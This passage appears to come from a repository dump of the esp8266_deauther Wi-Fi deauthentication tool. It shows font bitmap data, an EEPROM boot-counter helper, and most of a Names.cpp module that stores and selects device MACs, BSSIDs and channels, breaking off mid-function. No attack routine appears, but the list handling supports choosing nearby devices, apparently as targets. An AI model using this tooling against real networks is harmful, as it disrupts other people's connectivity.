0x0F, 0x20, 0x00, 0xE0, 0x0F, 0x20, 0x00, 0xE0, 0x0F,             // 109\n    0x00, 0x00, 0xE0, 0x0F, 0x40, 0x00, 0x20, 0x00, 0x20, 0x00, 0xC0, 0x0F,             // 110\n    0x00, 0x00, 0xC0, 0x07, 0x20, 0x08, 0x20, 0x08, 0x20, 0x08, 0xC0, 0x07,             // 111\n    0x00, 0x00, 0xE0, 0x7F, 0x20, 0x08, 0x20, 0x08, 0x20, 0x08, 0xC0, 0x07,             // 112\n    0x00, 0x00, 0xC0, 0x07, 0x20, 0x08, 0x20, 0x08, 0x20, 0x08, 0xE0, 0x7F,             // 113\n    0x00, 0x00, 0x00, 0x00, 0xE0, 0x0F, 0x60, 0x00, 0x20, 0x00, 0x20, 0x00, 0x40,       // 114\n    0x00, 0x00, 0xC0, 0x04, 0x20, 0x09, 0x20, 0x09, 0x20, 0x09, 0x40, 0x06,             // 115\n    0x00, 0x00, 0x20, 0x00, 0x20, 0x00, 0xF8, 0x0F, 0x20, 0x08, 0x20, 0x08,             // 116\n    0x00, 0x00, 0xE0, 0x07, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, 0xE0, 0x0F,             // 117\n    0x00, 0x00, 0x60, 0x00, 0x80, 0x03, 0x00, 0x0C, 0x80, 0x03, 0x60,                   // 118\n    0x60, 0x00, 0x80, 0x03, 0x00, 0x0E, 0x80, 0x01, 0x00, 0x0E, 0x80, 0x03, 0x60,       // 119\n    0x00, 0x00, 0x20, 0x08, 0xC0, 0x06, 0x00, 0x01, 0xC0, 0x06, 0x20, 0x08,             // 120\n    0x00, 0x00, 0x60, 0x40, 0x80, 0x67, 0x00, 0x1C, 0x80, 0x03, 0x60,                   // 121\n    0x00, 0x00, 0x20, 0x0C, 0x20, 0x0A, 0x20, 0x09, 0xA0, 0x08, 0x60, 0x08,             // 122\n    0x00, 0x00, 0x80, 0x00, 0x80, 0x00, 0x7C, 0x1F, 0x04, 0x10, 0x04, 0x10,             // 123\n    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFC, 0x3F,                                     // 124\n    0x00, 0x00, 0x04, 0x10, 0x04, 0x10, 0x7C, 0x1F, 0x80, 0x00, 0x80,                   // 125\n    0x00, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, // 126\n    0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 127\n    0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 128\n    0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 129\n    0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 130\n    0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 131\n    0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 132\n    0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 133\n    0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 134\n    0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 135\n    0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 136\n    0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 137\n    0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 138\n    0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 139\n    0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 140\n    0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 141\n    0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 142\n    0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 143\n    0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 144\n    0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 145\n    0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 146\n    0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 147\n    0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 148\n    0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 149\n    0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 150\n    0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 151\n    0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 152\n    0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 153\n    0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 154\n    0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 155\n    0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 156\n    0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 157\n    0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 158\n    0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 159\n    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x3F,                                     // 161\n    0x00, 0x00, 0xC0, 0x07, 0x20, 0x08, 0xF8, 0x3F, 0x20, 0x08, 0x40, 0x04,             // 162\n    0x00, 0x00, 0x80, 0x08, 0xF0, 0x0F, 0x88, 0x08, 0x88, 0x08, 0x08, 0x08,             // 163\n    0x00, 0x00, 0x20, 0x04, 0xC0, 0x03, 0x40, 0x02, 0x40, 0x02, 0xC0, 0x03, 0x20, 0x04, // 164\n    0x08, 0x00, 0x50, 0x01, 0x60, 0x01, 0x80, 0x0F, 0x60, 0x01, 0x50, 0x01, 0x08,       // 165\n    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF0, 0x3C,                                     // 166\n    0x00, 0x00, 0xF0, 0x11, 0x28, 0x13, 0x48, 0x12, 0xC8, 0x14, 0x88, 0x0F,             // 167\n    0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x08,                               // 168\n    0xC0, 0x01, 0x20, 0x02, 0xD0, 0x05, 0x50, 0x05, 0x50, 0x05, 0x20, 0x02, 0xC0, 0x01, // 169\n    0x00, 0x00, 0xE8, 0x02, 0xA8, 0x02, 0xA8, 0x02, 0xF0, 0x02,                         // 170\n    0x00, 0x00, 0x00, 0x01, 0x80, 0x02, 0x40, 0x04, 0x00, 0x01, 0x80, 0x02, 0x40, 0x04, // 171\n    0x00, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x03, // 172\n    0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01,                         // 173\n    0xC0, 0x01, 0x20, 0x02, 0xD0, 0x05, 0xD0, 0x05, 0xD0, 0x05, 0x20, 0x02, 0xC0, 0x01, // 174\n    0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08,                   // 175\n    0x00, 0x00, 0x00, 0x00, 0x30, 0x00, 0x48, 0x00, 0x48, 0x00, 0x30,                   // 176\n    0x80, 0x08, 0x80, 0x08, 0x80, 0x08, 0xE0, 0x0B, 0x80, 0x08, 0x80, 0x08, 0x80, 0x08, // 177\n    0x00, 0x00, 0x00, 0x00, 0x88, 0x00, 0xE8, 0x00, 0xB8,                               // 178\n    0x00, 0x00, 0x00, 0x00, 0x88, 0x00, 0xA8, 0x00, 0xA8, 0x00, 0xD8,                   // 179\n    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x04,                               // 180\n    0x00, 0x00, 0xE0, 0x7F, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, 0xE0, 0x0F, 0x00, 0x08, // 181\n    0x00, 0x00, 0x70, 0x00, 0xF8, 0x00, 0xF8, 0x00, 0xF8, 0x1F, 0x08, 0x00, 0xF8, 0x1F, // 182\n    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x01,                                     // 183\n    0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x20, 0x00, 0x30,                         // 184\n    0x00, 0x00, 0x00, 0x00, 0x88, 0x00, 0xF8, 0x00, 0x80,                               // 185\n    0x00, 0x00, 0x70, 0x02, 0x88, 0x02, 0x88, 0x02, 0x70, 0x02,                         // 186\n    0x00, 0x00, 0x40, 0x04, 0x80, 0x02, 0x00, 0x01, 0x40, 0x04, 0x80, 0x02, 0x00, 0x01, // 187\n    0x44, 0x02, 0x7C, 0x03, 0x40, 0x01, 0x00, 0x0D, 0x80, 0x0B, 0x80, 0x1F, 0x00, 0x08, // 188\n    0x44, 0x02, 0x7C, 0x03, 0x40, 0x01, 0x00, 0x11, 0x80, 0x1D, 0x80, 0x17,             // 189\n    0x00, 0x02, 0x44, 0x03, 0x54, 0x01, 0x54, 0x0D, 0xEC, 0x0B, 0x80, 0x1F, 0x00, 0x08, // 190\n    0x00, 0x38, 0x00, 0x4C, 0x00, 0x44, 0x60, 0x43, 0x00, 0x20,                         // 191\n    0x00, 0x00, 0x00, 0x0C, 0xC1, 0x03, 0x3A, 0x02, 0x38, 0x02, 0xC0, 0x03, 0x00, 0x0C, // 192\n    0x00, 0x00, 0x00, 0x0C, 0xC0, 0x03, 0x3A, 0x02, 0x39, 0x02, 0xC0, 0x03, 0x00, 0x0C, // 193\n    0x00, 0x00, 0x00, 0x0C, 0xC2, 0x03, 0x39, 0x02, 0x39, 0x02, 0xC2, 0x03, 0x00, 0x0C, // 194\n    0x00, 0x00, 0x00, 0x0C, 0xC3, 0x03, 0x39, 0x02, 0x3A, 0x02, 0xC3, 0x03, 0x00, 0x0C, // 195\n    0x00, 0x00, 0x00, 0x0C, 0xC2, 0x03, 0x38, 0x02, 0x38, 0x02, 0xC2, 0x03, 0x00, 0x0C, // 196\n    0x00, 0x00, 0x00, 0x08, 0x00, 0x07, 0xFE, 0x02, 0xE6, 0x02, 0x00, 0x07, 0x00, 0x08, // 197\n    0x00, 0x0C, 0x80, 0x03, 0x78, 0x02, 0x08, 0x02, 0xF8, 0x0F, 0x88, 0x08, 0x88, 0x08, // 198\n    0x00, 0x00, 0xE0, 0x03, 0x10, 0x04, 0x08, 0x28, 0x08, 0x28, 0x08, 0x38, 0x10, 0x04, // 199\n    0x00, 0x00, 0xF8, 0x0F, 0x89, 0x08, 0x8A, 0x08, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, // 200\n    0x00, 0x00, 0xF8, 0x0F, 0x88, 0x08, 0x8A, 0x08, 0x89, 0x08, 0x88, 0x08, 0x88, 0x08, // 201\n    0x00, 0x00, 0xF8, 0x0F, 0x8A, 0x08, 0x89, 0x08, 0x89, 0x08, 0x8A, 0x08, 0x88, 0x08, // 202\n    0x00, 0x00, 0xF8, 0x0F, 0x8A, 0x08, 0x88, 0x08, 0x8A, 0x08, 0x88, 0x08, 0x88, 0x08, // 203\n    0x00, 0x00, 0x08, 0x08, 0x09, 0x08, 0xFA, 0x0F, 0x08, 0x08, 0x08, 0x08,             // 204\n    0x00, 0x00, 0x08, 0x08, 0x08, 0x08, 0xFA, 0x0F, 0x09, 0x08, 0x08, 0x08,             // 205\n    0x00, 0x00, 0x08, 0x08, 0x0A, 0x08, 0xF9, 0x0F, 0x0A, 0x08, 0x08, 0x08,             // 206\n    0x00, 0x00, 0x08, 0x08, 0x0A, 0x08, 0xF8, 0x0F, 0x0A, 0x08, 0x08, 0x08,             // 207\n    0x80, 0x00, 0xF8, 0x0F, 0x88, 0x08, 0x88, 0x08, 0x08, 0x08, 0x10, 0x04, 0xE0, 0x03, // 208\n    0x00, 0x00, 0xF8, 0x0F, 0x1B, 0x00, 0xE1, 0x00, 0x82, 0x03, 0x03, 0x0C, 0xF8, 0x0F, // 209\n    0x00, 0x00, 0xE0, 0x03, 0x19, 0x0C, 0x0A, 0x08, 0x08, 0x08, 0x18, 0x0C, 0xE0, 0x03, // 210\n    0x00, 0x00, 0xE0, 0x03, 0x18, 0x0C, 0x0A, 0x08, 0x09, 0x08, 0x18, 0x0C, 0xE0, 0x03, // 211\n    0x00, 0x00, 0xE0, 0x03, 0x1A, 0x0C, 0x09, 0x08, 0x09, 0x08, 0x1A, 0x0C, 0xE0, 0x03, // 212\n    0x00, 0x00, 0xE0, 0x03, 0x1B, 0x0C, 0x09, 0x08, 0x0A, 0x08, 0x1B, 0x0C, 0xE0, 0x03, // 213\n    0x00, 0x00, 0xE0, 0x03, 0x1A, 0x0C, 0x08, 0x08, 0x08, 0x08, 0x1A, 0x0C, 0xE0, 0x03, // 214\n    0x00, 0x00, 0x20, 0x02, 0x40, 0x01, 0x80, 0x00, 0x40, 0x01, 0x20, 0x02,             // 215\n    0x00, 0x08, 0xE0, 0x07, 0x18, 0x0E, 0x88, 0x09, 0x48, 0x08, 0x38, 0x0C, 0xF8, 0x03, // 216\n    0x00, 0x00, 0xF8, 0x07, 0x01, 0x08, 0x02, 0x08, 0x00, 0x08, 0x00, 0x08, 0xF8, 0x07, // 217\n    0x00, 0x00, 0xF8, 0x07, 0x00, 0x08, 0x02, 0x08, 0x01, 0x08, 0x00, 0x08, 0xF8, 0x07, // 218\n    0x00, 0x00, 0xF8, 0x07, 0x02, 0x08, 0x01, 0x08, 0x01, 0x08, 0x02, 0x08, 0xF8, 0x07, // 219\n    0x00, 0x00, 0xF8, 0x07, 0x02, 0x08, 0x00, 0x08, 0x00, 0x08, 0x02, 0x08, 0xF8, 0x07, // 220\n    0x08, 0x00, 0x10, 0x00, 0x60, 0x00, 0x82, 0x0F, 0x61, 0x00, 0x10, 0x00, 0x08,       // 221\n    0x00, 0x00, 0xF8, 0x0F, 0x10, 0x01, 0x10, 0x01, 0x10, 0x01, 0x10, 0x01, 0xE0,       // 222\n    0x00, 0x00, 0xF8, 0x0F, 0xE4, 0x00, 0xA4, 0x09, 0x18, 0x09, 0x00, 0x06,             // 223\n    0x00, 0x00, 0x40, 0x06, 0x20, 0x09, 0x24, 0x09, 0x28, 0x09, 0xC0, 0x0F,             // 224\n    0x00, 0x00, 0x40, 0x06, 0x20, 0x09, 0x28, 0x09, 0x24, 0x09, 0xC0, 0x0F,             // 225\n    0x00, 0x00, 0x40, 0x06, 0x28, 0x09, 0x24, 0x09, 0x24, 0x09, 0xC8, 0x0F,             // 226\n    0x00, 0x00, 0x40, 0x06, 0x2C, 0x09, 0x24, 0x09, 0x28, 0x09, 0xCC, 0x0F,             // 227\n    0x00, 0x00, 0x40, 0x06, 0x28, 0x09, 0x20, 0x09, 0x28, 0x09, 0xC0, 0x0F,             // 228\n    0x00, 0x00, 0x40, 0x06, 0x26, 0x09, 0x29, 0x09, 0x29, 0x09, 0xC6, 0x0F,             // 229\n    0x00, 0x00, 0x40, 0x0F, 0x20, 0x09, 0xC0, 0x07, 0x20, 0x09, 0xE0, 0x09,             // 230\n    0x00, 0x00, 0xC0, 0x07, 0x60, 0x0C, 0x20, 0x28, 0x20, 0x28, 0x40, 0x38,             // 231\n    0x00, 0x00, 0xC0, 0x07, 0x60, 0x09, 0x24, 0x09, 0x28, 0x09, 0xC0, 0x05,             // 232\n    0x00, 0x00, 0xC0, 0x07, 0x60, 0x09, 0x28, 0x09, 0x24, 0x09, 0xC0, 0x05,             // 233\n    0x00, 0x00, 0xC0, 0x07, 0x68, 0x09, 0x24, 0x09, 0x24, 0x09, 0xC8, 0x05,             // 234\n    0x00, 0x00, 0xC0, 0x07, 0x68, 0x09, 0x20, 0x09, 0x28, 0x09, 0xC0, 0x05,             // 235\n    0x00, 0x00, 0x20, 0x08, 0x20, 0x08, 0xE4, 0x0F, 0x08, 0x08, 0x00, 0x08,             // 236\n    0x00, 0x00, 0x20, 0x08, 0x20, 0x08, 0xE8, 0x0F, 0x04, 0x08, 0x00, 0x08,             // 237\n    0x00, 0x00, 0x28, 0x08, 0x24, 0x08, 0xE4, 0x0F, 0x08, 0x08, 0x00, 0x08,             // 238\n    0x00, 0x00, 0x20, 0x08, 0x28, 0x08, 0xE0, 0x0F, 0x08, 0x08, 0x00, 0x08,             // 239\n    0x00, 0x00, 0x80, 0x07, 0x54, 0x08, 0x58, 0x08, 0x68, 0x08, 0xC0, 0x07,             // 240\n    0x00, 0x00, 0xE0, 0x0F, 0x4C, 0x00, 0x24, 0x00, 0x28, 0x00, 0xCC, 0x0F,             // 241\n    0x00, 0x00, 0xC0, 0x07, 0x20, 0x08, 0x24, 0x08, 0x28, 0x08, 0xC0, 0x07,             // 242\n    0x00, 0x00, 0xC0, 0x07, 0x20, 0x08, 0x28, 0x08, 0x24, 0x08, 0xC0, 0x07,             // 243\n    0x00, 0x00, 0xC0, 0x07, 0x28, 0x08, 0x24, 0x08, 0x28, 0x08, 0xC0, 0x07,             // 244\n    0x00, 0x00, 0xCC, 0x07, 0x24, 0x08, 0x2C, 0x08, 0x28, 0x08, 0xCC, 0x07,             // 245\n    0x00, 0x00, 0xC0, 0x07, 0x28, 0x08, 0x20, 0x08, 0x28, 0x08, 0xC0, 0x07,             // 246\n    0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x40, 0x05, 0x00, 0x01, 0x00, 0x01,             // 247\n    0x00, 0x00, 0xC0, 0x0F, 0x20, 0x0A, 0x20, 0x09, 0xA0, 0x08, 0xE0, 0x07,             // 248\n    0x00, 0x00, 0xE0, 0x07, 0x00, 0x08, 0x04, 0x08, 0x08, 0x08, 0xE0, 0x0F,             // 249\n    0x00, 0x00, 0xE0, 0x07, 0x00, 0x08, 0x08, 0x08, 0x04, 0x08, 0xE0, 0x0F,             // 250\n    0x00, 0x00, 0xE0, 0x07, 0x08, 0x08, 0x04, 0x08, 0x08, 0x08, 0xE0, 0x0F,             // 251\n    0x00, 0x00, 0xE0, 0x07, 0x08, 0x08, 0x00, 0x08, 0x08, 0x08, 0xE0, 0x0F,             // 252\n    0x00, 0x00, 0x60, 0x40, 0x80, 0x67, 0x08, 0x1C, 0x84, 0x03, 0x60,                   // 253\n    0x00, 0x00, 0xFC, 0x7F, 0x20, 0x08, 0x20, 0x08, 0x20, 0x08, 0xC0, 0x07,             // 254\n    0x00, 0x00, 0x60, 0x40, 0x88, 0x67, 0x00, 0x1C, 0x88, 0x03, 0x60                    // 255\n};"
  },
  {
    "path": "esp8266_deauther/EEPROMHelper.h",
    "content": "/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */\n\n#pragma once\n\n// ========== Includes ========== //\n#include <EEPROM.h>\n\n// ========== Boot Counter Structure ========== //\n\n// Used for memory verificaiton\n#define BOOT_MAGIC_NUM 1234567890\n\ntypedef struct boot {\n    unsigned int magic_num : 32;\n    unsigned int boot_num  : 8;\n} boot;\n\n// ========== EEPROM Helper Class ========== //\nclass EEPROMHelper {\n    public:\n        static void begin(const int eepromSize) {\n            EEPROM.begin(eepromSize);\n        }\n\n        static void end() {\n            EEPROM.end();\n        }\n\n        template<typename T>\n        static void saveObject(const int address, const T& t) {\n            EEPROM.put(address, t);\n\n            EEPROM.commit();\n        }\n\n        template<typename T>\n        static void getObject(const int address, const T& t) {\n            EEPROM.get(address, t);\n        }\n\n        static bool checkBootNum(const int address) {\n            boot b;\n\n            EEPROM.get(address, b);\n\n            if ((b.magic_num == BOOT_MAGIC_NUM) && (b.boot_num < 3)) {\n                saveObject(address, boot{ BOOT_MAGIC_NUM, ++b.boot_num });\n                return true;\n            }\n\n            return false;\n        }\n\n        static void resetBootNum(const int address) {\n            saveObject(address, boot{ BOOT_MAGIC_NUM, 1 });\n        }\n\n        static void format(unsigned long size) {\n            for (unsigned long i = 0; i<size; i++) EEPROM.write(i, 0x00);\n            EEPROM.commit();\n        }\n};"
  },
  {
    "path": "esp8266_deauther/Names.cpp",
    "content": "/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */\n\n#include \"Names.h\"\n\n#include <LittleFS.h>\n\nNames::Names() {\n    list = new SimpleList<Device>;\n}\n\nvoid Names::load() {\n    internal_removeAll();\n\n    DynamicJsonBuffer jsonBuffer(4000);\n\n    checkFile(FILE_PATH, String(OPEN_BRACKET) + String(CLOSE_BRACKET));\n    JsonArray& arr = parseJSONFile(FILE_PATH, jsonBuffer);\n\n    for (uint32_t i = 0; i < arr.size() && i < NAME_LIST_SIZE; i++) {\n        JsonArray& tmpArray = arr.get<JsonVariant>(i);\n        internal_add(tmpArray.get<String>(0), tmpArray.get<String>(2), tmpArray.get<String>(3), tmpArray.get<uint8_t>(\n                         4), false);\n        sort();\n    }\n\n    prnt(N_LOADED);\n    prntln(FILE_PATH);\n}\n\nvoid Names::load(String filepath) {\n    String tmp = FILE_PATH;\n\n    FILE_PATH = filepath;\n    load();\n    FILE_PATH = tmp;\n}\n\nvoid Names::save(bool force) {\n    if (!force && !changed) {\n        return;\n\n        prntln(N_SAVED);\n    }\n\n    String buf = String(OPEN_BRACKET); // [\n\n    if (!writeFile(FILE_PATH, buf)) {\n        prnt(F_ERROR_SAVING);\n        prntln(FILE_PATH);\n        return;\n    }\n\n    buf = String();\n\n    String name;\n    int    c = count();\n\n    for (int i = 0; i < c; i++) {\n        name = escape(getName(i));\n\n        buf += String(OPEN_BRACKET) + String(DOUBLEQUOTES) + getMacStr(i) + String(DOUBLEQUOTES) + String(COMMA); // [\"00:11:22:00:11:22\",\n        buf += String(DOUBLEQUOTES) + getVendorStr(i) + String(DOUBLEQUOTES) + String(COMMA);                     // \"vendor\",\n        buf += String(DOUBLEQUOTES) + name + String(DOUBLEQUOTES) + String(COMMA);                                // \"name\",\n        buf += String(DOUBLEQUOTES) + getBssidStr(i) + String(DOUBLEQUOTES) + String(COMMA);                      // \"00:11:22:00:11:22\",\n        buf += String(getCh(i)) + String(COMMA);                                                                  // 1,\n        buf += b2s(getSelected(i)) + String(CLOSE_BRACKET);                                                       // false]\n\n        if (i < c - 1) buf += COMMA;                                                                              // ,\n\n        if (buf.length() >= 1024) {\n            if (!appendFile(FILE_PATH, buf)) {\n                prnt(F_ERROR_SAVING);\n                prntln(FILE_PATH);\n                return;\n            }\n\n            buf = String();\n        }\n    }\n\n    buf += String(CLOSE_BRACKET); // ]\n\n    if (!appendFile(FILE_PATH, buf)) {\n        prnt(F_ERROR_SAVING);\n        prntln(FILE_PATH);\n        return;\n    }\n\n    prnt(N_SAVED);\n    prntln(FILE_PATH);\n    changed = false;\n}\n\nvoid Names::save(bool force, String filepath) {\n    String tmp = FILE_PATH;\n\n    FILE_PATH = filepath;\n    save(force);\n    FILE_PATH = tmp;\n}\n\nvoid Names::sort() {\n    list->setCompare([](Device& a, Device& b) -> int {\n        return memcmp(a.mac, b.mac, 6);\n    });\n    list->sort();\n}\n\nvoid Names::removeAll() {\n    internal_removeAll();\n    prntln(N_REMOVED_ALL);\n    changed = true;\n}\n\nbool Names::check(int num) {\n    if (internal_check(num)) return true;\n\n    prnt(N_ERROR_NOT_FOUND);\n    prntln(num);\n    return false;\n}\n\nint Names::findID(uint8_t* mac) {\n    for (int i = 0; i < list->size(); i++) {\n        if (memcmp(mac, list->get(i).mac, 6) == 0) return i;\n    }\n\n    return -1;\n}\n\nString Names::find(uint8_t* mac) {\n    int num = findID(mac);\n\n    if (num >= 0) return getName(num);\n    else return String();\n}\n\nvoid Names::print(int num) {\n    print(num, true, true);\n}\n\nvoid Names::print(int num, bool header, bool footer) {\n    if (!check(num)) return;\n\n    if (header) {\n        prntln(N_TABLE_HEADER);\n        prntln(N_TABLE_DIVIDER);\n    }\n\n    prnt(leftRight(String(), (String)num, 2));\n    prnt(leftRight(String(SPACE) + getMacStr(num), String(), 18));\n    prnt(leftRight(String(SPACE) + getVendorStr(num), String(), 9));\n    prnt(leftRight(String(SPACE) + getName(num), String(), 17));\n    prnt(leftRight(String(SPACE) + getBssidStr(num), String(), 18));\n    prnt(leftRight(String(SPACE), (String)getCh(num), 3));\n    prntln(leftRight(String(SPACE) + getSelectedStr(num), String(), 9));\n\n    if (footer) prntln(N_TABLE_DIVIDER);\n}\n\nvoid Names::printAll() {\n    prntln(N_HEADER);\n    int c = count();\n\n    if (c == 0) prntln(N_ERROR_LIST_EMPTY);\n    else\n        for (int i = 0; i < c; i++) print(i, i == 0, i == c - 1);\n}\n\nvoid Names::printSelected() {\n    prntln(N_TABLE_HEADER);\n    int max = selected();\n    int c   = count();\n\n    if (max == 0) {\n        prntln(N_ERROR_NO_SELECTED);\n        return;\n    }\n\n    for (int i = 0, j = 0; i < c && j < max; i++) {\n        if (getSelected(i)) {\n            print(i, j == 0, j == max - 1);\n            j++;\n        }\n    }\n}\n\nvoid Names::add(uint8_t* mac, String name, uint8_t* bssid, uint8_t ch, bool selected, bool force) {\n    if (count() >= NAME_LIST_SIZE) {\n        if (force) internal_remove(0);\n        else {\n            prntln(N_ERROR_LIST_FULL);\n            return;\n        }\n    }\n\n    if (name.length() > NAME_MAX_LENGTH) name = name.substring(0, NAME_MAX_LENGTH);\n\n    internal_add(mac, name, bssid, ch, selected);\n    sort();\n\n    prnt(N_ADDED);\n    prntln(name);\n    changed = true;\n}\n\nvoid Names::add(String macStr, String name, String bssidStr, uint8_t ch, bool selected, bool force) {\n    if (count() >= NAME_LIST_SIZE) {\n        if (force) internal_remove(0);\n        else {\n            prntln(N_ERROR_LIST_FULL);\n            return;\n        }\n    }\n\n    if (name.length() > NAME_MAX_LENGTH) name = name.substring(0, NAME_MAX_LENGTH);\n\n    internal_add(macStr, name, bssidStr, ch, selected);\n    sort();\n\n    prnt(N_ADDED);\n    prntln(name);\n    changed = true;\n}\n\nvoid Names::replace(int num, String macStr, String name, String bssidStr, uint8_t ch, bool selected) {\n    if (!check(num)) return;\n\n    remove(num);\n\n    internal_add(macStr, name, bssidStr, ch, selected);\n    sort();\n    prnt(N_REPLACED);\n    prntln(name);\n    changed = true;\n}\n\nvoid Names::remove(int num) {\n    if (!check(num)) return;\n\n    prnt(N_REMOVED);\n    prntln(getName(num));\n    internal_remove(num);\n    changed = true;\n}\n\nvoid Names::setName(int num, String name) {\n    if (!check(num)) return;\n\n    internal_add(getMac(num), name, getBssid(num), getCh(num), getSelected(num));\n\n    prntln(N_CHANGED_NAME);\n\n    internal_remove(num);\n    sort();\n    changed = true;\n}\n\nvoid Names::setMac(int num, String macStr) {\n    if (!check(num)) return;\n\n    uint8_t mac[6];\n\n    strToMac(macStr, mac);\n    internal_add(mac, getName(num), getBssid(num), getCh(num), getSelected(num));\n    prntln(N_CHANGED_MAC);\n    internal_remove(num);\n    sort();\n    changed = true;\n}\n\nvoid Names::setCh(int num, uint8_t ch) {\n    if (!check(num)) return;\n\n    internal_add(getMac(num), getName(num), getBssid(num), ch, getSelected(num));\n    prntln(N_CHANGED_CH);\n    internal_remove(num);\n    sort();\n    changed = true;\n}\n\nvoid Names::setBSSID(int num, String bssidStr) {\n    if (!check(num)) return;\n\n    uint8_t mac[6];\n\n    strToMac(bssidStr, mac);\n    internal_add(getMac(num), getName(num), mac, getCh(num), getSelected(num));\n    prntln(N_CHANGED_BSSID);\n    internal_remove(num);\n    sort();\n    changed = true;\n}\n\nvoid Names::select(int num) {\n    if (!check(num)) return;\n\n    internal_select(num);\n    prnt(N_SELECTED);\n    prntln(getName(num));\n    changed = true;\n}\n\nvoid 